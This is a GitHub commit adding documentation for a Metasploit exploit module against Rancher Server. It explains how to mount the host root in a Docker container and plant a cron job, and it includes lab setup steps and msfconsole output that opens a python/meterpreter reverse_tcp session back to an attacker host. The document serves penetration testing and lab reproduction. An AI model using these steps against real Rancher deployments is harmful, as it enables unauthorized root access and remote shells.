Skip to content

Commit d7d6428

Browse files
mpizalampizala
committed
Add documentation for exploit module Rancher Server - Docker Exploit
1 parent 6a20e1a commit d7d6428

File tree

1 file changed

+146
-0
lines changed

1 file changed

+146
-0
lines changed

‎documentation/modules/exploit/linux/http/rancher_server.md

Lines changed: 146 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,146 @@
1+
# Vulnerable Application
2+
Utilizing Rancher Server, an attacker can create a docker container
3+
with the '/' path mounted with read/write permissions on the host
4+
server that is running the docker container. As the docker container
5+
executes command as uid 0 it is honored by the host operating system
6+
allowing the attacker to edit/create files owed by root. This exploit
7+
abuses this to creates a cron job in the '/etc/cron.d/' path of the
8+
host server.
9+
10+
The Docker image should exist on the target system or be a valid image
11+
from hub.docker.com.
12+
13+
## Rancher setup
14+
Rancher is deployed as a set of Docker containers. Running Rancher is
15+
as simple as launching two containers. One container as the management
16+
server and another container on a node as an agent.
17+
18+
This module was tested with Debian 9 and CentOS 7 as the host operating
19+
system with Docker 17.06.1-ce and Rancher Server 1.6.2, all with
20+
default installation.
21+
22+
### Install Debian 9
23+
First [install Debian 9][1] with default task selection. This includes
24+
the "*standard system utilities*".
25+
26+
### Install Docker CE
27+
Then install a supported version of [Docker on Debian system][2].
28+
29+
```bash
30+
# TL;DR
31+
apt-get remove docker docker-engine
32+
apt-get install apt-transport-https ca-certificates curl gnupg2 software-properties-common
33+
curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -
34+
apt-key fingerprint 0EBFCD88
35+
# Verify that the key ID is 9DC8 5822 9FC7 DD38 854A E2D8 8D81 803C 0EBF CD88.
36+
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian $(lsb_release -cs) stable"
37+
apt-get update
38+
apt-get install docker-ce
39+
docker run hello-world
40+
```
41+
42+
### Rancher Server (Management)
43+
I recommend doing a ['Rancher Server - Single Container (NON-HA)'
44+
installation][3].
45+
46+
If Docker is installed, the command to start a single instance of
47+
Rancher is simple.
48+
49+
```bash
50+
# TL;DR
51+
sudo docker run -d --restart=unless-stopped -p 8080:8080 rancher/server
52+
```
53+
54+
If all is passing navigate to `http://[ip]:8080/`. You should see the
55+
Rancher Server UI web application.
56+
57+
### Rancher Host (Agent)
58+
59+
Add a [new host][4] to Rancher Server so that the Docker host can be managed.
60+
61+
**Set Host Registration URL**
62+
63+
The first time that you add a host, you may be required to set up the
64+
Host Registration URL.
65+
66+
* Navigate to Admin / Settings (`http://[ip]:8080/admin/settings`)
67+
* Check if `"http://[ip]:8080/"` is set
68+
* Click on Save.
69+
70+
**Add new host**
71+
72+
* Navigate to Infrastructure / Hosts (`http://[ip]:8080/env/1a5/infra/hosts`)
73+
* Click on Add Host
74+
* Copy the command from Point 5 (and remove sudo prefix)
75+
`docker run --rm --privileged -v /var/run/docker.sock:/var/run/docker.sock -v /var/lib/rancher:/var/lib/rancher rancher/agent:v1.2.2 http://[ip]:8080/v1/scripts/XXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXX`
76+
* Paste and run the command on the host
77+
78+
The new host should pop up on the Hosts screen within a minute.
79+
80+
# Exploitation
81+
This module is designed for the attacker to leverage, creation of a
82+
docker container to gain root access on the rancher host.
83+
84+
## Options
85+
- CONTAINER_ID if you want to have a human readable name for your container, else it will be randomly generated
86+
- DOCKERIMAGE is the locally or from hub.docker.com available image you are wanting to have Rancher to deploy for this exploit.
87+
- TARGETURI this is the Rancher Server API path. The default environment is /v1/projects/1a5
88+
- WAIT_TIMEOUT is how long you will wait for a docker container to deploy before bailing out if it does not start.
89+
90+
By default access control is disabled, but if enabled, you need API
91+
Keys with at least "restrictive" permission in the environment.
92+
See Rancher docs for [api-keys][5] and [membership-roles][6].
93+
94+
- HttpUsername is for your Access Key
95+
- HttpPassword is for your Secret Key
96+
97+
## Steps to exploit with module
98+
- [ ] Start msfconsole
99+
- [ ] use exploit/linux/http/rancher_server
100+
- [ ] Set the options appropriately and set VERBOSE to true
101+
- [ ] Verify it creates a docker container and it successfully runs
102+
- [ ] After a minute a session should be opened from the agent server
103+
104+
## Example Output
105+
```
106+
msf > use exploit/linux/http/rancher_server
107+
msf exploit(rancher_server) > set RHOST 192.168.91.111
108+
RHOST => 192.168.91.111
109+
msf exploit(rancher_server) > set PAYLOAD python/meterpreter/reverse_tcp
110+
PAYLOAD => python/meterpreter/reverse_tcp
111+
msf exploit(rancher_server) > set LHOST 192.168.91.1
112+
LHOST => 192.168.91.1
113+
msf exploit(rancher_server) > set VERBOSE true
114+
VERBOSE => true
115+
msf exploit(rancher_server) > check
116+
[*] 192.168.91.111:8080 The target appears to be vulnerable.
117+
msf exploit(rancher_server) > exploit
118+
119+
[*] Started reverse TCP handler on 192.168.91.1:4444
120+
[*] Setting container json request variables
121+
[*] Creating the docker container command
122+
[+] The docker container is created, waiting for it to deploy
123+
[*] Waiting up to 60 seconds for docker container to start
124+
[+] The docker container has stopped, now trying to remove it
125+
[+] The docker container has been removed.
126+
[*] Waiting for the cron job to run, can take up to 60 seconds
127+
[*] Sending stage (40747 bytes) to 192.168.91.111
128+
[*] Meterpreter session 1 opened (192.168.91.1:4444 -> 192.168.91.111:49948) at 2017-07-27 22:18:00 +0200
129+
[+] Deleted /etc/cron.d/wlHVKGMA
130+
[+] Deleted /tmp/jxKUxUyN
131+
132+
meterpreter > sysinfo
133+
Computer : rancher
134+
OS : Linux 4.9.0-3-amd64 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26)
135+
Architecture : x64
136+
System Language : en_US
137+
Meterpreter : python/linux
138+
meterpreter >
139+
```
140+
141+
[1]:https://www.debian.org/releases/stretch/amd64/index.html.en
142+
[2]:https://docs.docker.com/engine/installation/linux/docker-ce/debian/
143+
[3]:http://rancher.com/docs/rancher/v1.6/en/installing-rancher/installing-server/#launching-rancher-server---single-container-non-ha
144+
[4]:http://rancher.com/docs/rancher/v1.6/en/hosts/#adding-a-host
145+
[5]:http://rancher.com/docs/rancher/v1.6/en/api/v2-beta/api-keys/
146+
[6]:http://rancher.com/docs/rancher/v1.6/en/environments/#membership-roles

0 commit comments

Comments
 (0)